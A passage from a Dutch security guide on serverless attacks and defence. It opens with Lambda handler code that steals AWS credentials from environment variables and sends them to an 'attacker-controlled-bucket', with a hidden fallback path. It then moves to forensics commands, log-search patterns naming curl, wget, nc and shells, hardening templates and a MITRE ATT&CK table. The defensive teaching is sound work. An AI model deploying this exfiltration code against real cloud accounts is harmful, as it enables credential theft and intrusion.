        "event": event,
        "context": {
            "function_name": context.function_name,
            "memory_limit": context.memory_limit_in_mb,
            "remaining_time": context.get_remaining_time_in_millis(),
        }
    }
    exfil_http(data)
    return {"statusCode": 200}

Cloud Storage Staging

Gebruik de cloud provider’s eigen storage als staging area – het verkeer lijkt intern en triggert minder alerts.

import boto3
import json
import os

def handler(event, context):
    s3 = boto3.client('s3')

    # Exfiltreer naar een bucket die je controleert
    # (als de execution role s3:PutObject toestaat op * of op jouw bucket)
    loot = {
        "credentials": {
            "access_key": os.environ.get("AWS_ACCESS_KEY_ID"),
            "secret_key": os.environ.get("AWS_SECRET_ACCESS_KEY"),
            "session_token": os.environ.get("AWS_SESSION_TOKEN"),
        },
        "event_data": event
    }

    try:
        s3.put_object(
            Bucket="attacker-controlled-bucket",
            Key=f"loot/{context.function_name}/{context.aws_request_id}.json",
            Body=json.dumps(loot)
        )
    except Exception:
        # Fallback: gebruik de functie's eigen bucket als staging
        # Verberg het in een pad dat niet opvalt
        s3.put_object(
            Bucket="legitimate-app-bucket",
            Key=f".aws-sam/cache/{context.aws_request_id}",
            Body=json.dumps(loot)
        )

    return {"statusCode": 200}

IB Tip: Exfiltratie via de cloud provider’s eigen diensten (S3, Azure Blob, GCS) is moeilijker te detecteren dan outbound HTTP naar een extern IP. Het verkeer gaat via interne endpoints en mengt zich met normaal applicatieverkeer. Monitor CloudTrail data events op onverwachte PutObject-acties naar onbekende buckets.


8.8 Serverless Forensics

Function Versioning

Lambda ondersteunt versioning – elke keer dat je een functie publiceert, wordt een immutable versie aangemaakt. Dit is goud waard voor forensics.

# Lijst alle versies van een functie
aws lambda list-versions-by-function \
  --function-name target-function \
  --query 'Versions[].{Version:Version, Modified:LastModified, CodeSha:CodeSha256}'

# Vergelijk code hashes tussen versies
# Als de hash veranderd is, is de code gewijzigd
aws lambda get-function --function-name target-function --qualifier 5 \
  --query 'Configuration.CodeSha256'

# Download een specifieke versie voor analyse
aws lambda get-function --function-name target-function --qualifier 3 \
  --query 'Code.Location' --output text | xargs curl -o version3.zip

# Bekijk welke aliases naar welke versies wijzen
aws lambda list-aliases --function-name target-function

CloudWatch Logs Analyse

Lambda-functies loggen automatisch naar CloudWatch Logs. De log group volgt het patroon /aws/lambda/{function-name}.

# Bekijk recente log streams
aws logs describe-log-streams \
  --log-group-name /aws/lambda/target-function \
  --order-by LastEventTime \
  --descending \
  --limit 10

# Zoek naar verdachte activiteit
aws logs filter-log-events \
  --log-group-name /aws/lambda/target-function \
  --filter-pattern "curl OR wget OR nc OR /bin/sh OR /bin/bash" \
  --start-time $(date -d '24 hours ago' +%s000)

# Zoek naar credential-gerelateerde logs
aws logs filter-log-events \
  --log-group-name /aws/lambda/target-function \
  --filter-pattern "ACCESS_KEY OR SECRET OR password OR token" \
  --start-time $(date -d '7 days ago' +%s000)

# Zoek naar errors die op exploitatie kunnen wijzen
aws logs filter-log-events \
  --log-group-name /aws/lambda/target-function \
  --filter-pattern "ERROR OR Exception OR Traceback OR CRITICAL" \
  --start-time $(date -d '24 hours ago' +%s000)

# Exporteer logs voor offline analyse
aws logs create-export-task \
  --log-group-name /aws/lambda/target-function \
  --from $(date -d '30 days ago' +%s000) \
  --to $(date +%s000) \
  --destination "forensics-bucket" \
  --destination-prefix "lambda-logs/target-function"

Azure Application Insights

# Bekijk function execution logs
az monitor app-insights query \
  --app target-appinsights \
  --resource-group target-rg \
  --analytics-query "
    requests
    | where timestamp > ago(24h)
    | where name contains 'target-function'
    | where success == false
    | project timestamp, name, resultCode, duration, customDimensions
    | order by timestamp desc
  "

# Zoek naar dependency calls (uitgaande verbindingen)
az monitor app-insights query \
  --app target-appinsights \
  --resource-group target-rg \
  --analytics-query "
    dependencies
    | where timestamp > ago(24h)
    | where target !contains 'azure'
    | project timestamp, target, data, resultCode, duration
    | order by timestamp desc
  "

X-Ray en Execution Traces

AWS X-Ray biedt distributed tracing voor Lambda-functies.

# Haal recente traces op
aws xray get-trace-summaries \
  --start-time $(date -d '24 hours ago' +%s) \
  --end-time $(date +%s) \
  --filter-expression 'service("target-function")'

# Haal een specifieke trace op
aws xray batch-get-traces --trace-ids "1-67890abc-def0123456789"

# Zoek naar verdachte patronen:
# - Ongewoon lange execution times
# - Uitgaande calls naar onbekende endpoints
# - Calls naar het metadata endpoint
aws xray get-trace-summaries \
  --start-time $(date -d '24 hours ago' +%s) \
  --end-time $(date +%s) \
  --filter-expression 'service("target-function") AND duration > 10'

Verdedigingsmaatregelen

Het cynische antwoord op “hoe beveilig ik serverless?” is: “je beveiligt het niet, je beperkt de schade.” Maar laten we iets constructiever zijn.

Function Permissions: Least Privilege

Het principe van least privilege is nergens zo cruciaal als bij serverless. Elke functie moet precies de rechten hebben die nodig zijn – niet meer.

# SAM template -- goede IAM policy
Resources:
  ProcessOrderFunction:
    Type: AWS::Serverless::Function
    Properties:
      Handler: index.handler
      Runtime: python3.11
      Policies:
        # Specifieke permissions, niet AmazonS3FullAccess
        - Version: "2012-10-17"
          Statement:
            - Effect: Allow
              Action:
                - s3:GetObject
              Resource: !Sub "arn:aws:s3:::${OrderBucket}/orders/*"
            - Effect: Allow
              Action:
                - dynamodb:PutItem
              Resource: !GetAtt OrderTable.Arn
              Condition:
                ForAllValues:StringEquals:
                  dynamodb:LeadingKeys:
                    - "${aws:PrincipalTag/orderId}"

VPC Placement

# Lambda in een VPC -- beperkt outbound traffic
Resources:
  SecureFunction:
    Type: AWS::Serverless::Function
    Properties:
      VpcConfig:
        SecurityGroupIds:
          - !Ref FunctionSecurityGroup
        SubnetIds:
          - !Ref PrivateSubnet1
          - !Ref PrivateSubnet2

  FunctionSecurityGroup:
    Type: AWS::EC2::SecurityGroup
    Properties:
      GroupDescription: Lambda function security group
      VpcId: !Ref VPC
      SecurityGroupEgress:
        # Alleen toegang tot specifieke services
        - IpProtocol: tcp
          FromPort: 443
          ToPort: 443
          DestinationPrefixListId: !Ref S3PrefixList  # Alleen S3

Dependency Scanning

# CI/CD pipeline stap: scan dependencies
# Python
pip install pip-audit safety
pip-audit -r requirements.txt --strict
safety check -r requirements.txt

# Node.js
npm audit --audit-level=high
npx snyk test

# Scan Lambda layers
aws lambda get-layer-version \
  --layer-name shared-layer --version-number 1 \
  --query 'Content.Location' --output text \
  | xargs curl -o layer.zip
unzip layer.zip -d layer-scan/
pip-audit -r layer-scan/python/requirements.txt

Runtime Protection

# Lambda wrapper voor runtime protection
import os
import socket

# Blokkeer outbound DNS naar niet-standaard servers
_original_getaddrinfo = socket.getaddrinfo

def _restricted_getaddrinfo(host, port, *args, **kwargs):
    # Sta alleen bekende hosts toe
    allowed = ['dynamodb.eu-west-1.amazonaws.com', 's3.eu-west-1.amazonaws.com']
    if host not in allowed and not host.endswith('.amazonaws.com'):
        raise socket.gaierror(f"DNS lookup blocked for: {host}")
    return _original_getaddrinfo(host, port, *args, **kwargs)

if os.environ.get('RESTRICT_NETWORK') == 'true':
    socket.getaddrinfo = _restricted_getaddrinfo

Referentietabel

Techniek MITRE ATT&CK AWS Azure GCP
Function enumeration T1526 - Cloud Service Discovery aws lambda list-functions az functionapp list gcloud functions list
Credential extraction T1552.005 - Cloud Instance Metadata Lambda env vars, Runtime API IMDS token theft Metadata endpoint
Event injection T1190 - Exploit Public-Facing App S3/SQS/SNS event manipulation Event Grid, Service Bus Pub/Sub, Cloud Storage
Layer poisoning T1195.002 - Supply Chain: Software Supply Chain Lambda Layers NuGet/npm packages pip/npm packages
/tmp persistence T1027 - Obfuscated Files Lambda /tmp directory Function App temp storage /tmp directory
DNS exfiltration T1048.003 - Exfil Over Unencrypted Protocol CloudWatch DNS logs Azure DNS Analytics VPC Flow Logs
Function URL abuse T1190 - Exploit Public-Facing App Lambda Function URLs (AuthType: NONE) Anonymous HTTP triggers allUsers invoker
Runtime API exploitation T1059 - Command and Scripting Lambda Runtime API (127.0.0.1:9001) N/A N/A
Managed identity abuse T1550.001 - Application Access Token Lambda execution role Managed Identity tokens Service account tokens
Dependency attack T1195.001 - Supply Chain: Compromise Software Dependencies pip/npm malicious packages NuGet supply chain pip/npm supply chain
Code download T1530 - Data from Cloud Storage S3 function code bucket Kudu SCM interface gcf-sources bucket
Durable orchestration abuse T1565 - Data Manipulation Step Functions manipulation Durable Functions events Cloud Workflows
Extension registration T1547 - Boot or Logon Autostart Lambda Extensions API App Service extensions N/A
Cold start exploitation T1059.006 - Python Init phase code execution Startup code execution Init phase code execution
Outbound HTTP exfil T1048.001 - Exfil Over Encrypted Channel VPC endpoint bypass NSG bypass attempts Firewall rule bypass
Storage staging T1074.002 - Remote Data Staging S3 bucket staging Blob Storage staging GCS bucket staging

Het mooie van serverless is dat je geen server hoeft te beheren. Het vervelende van serverless is dat je aanvaller dat ook niet hoeft.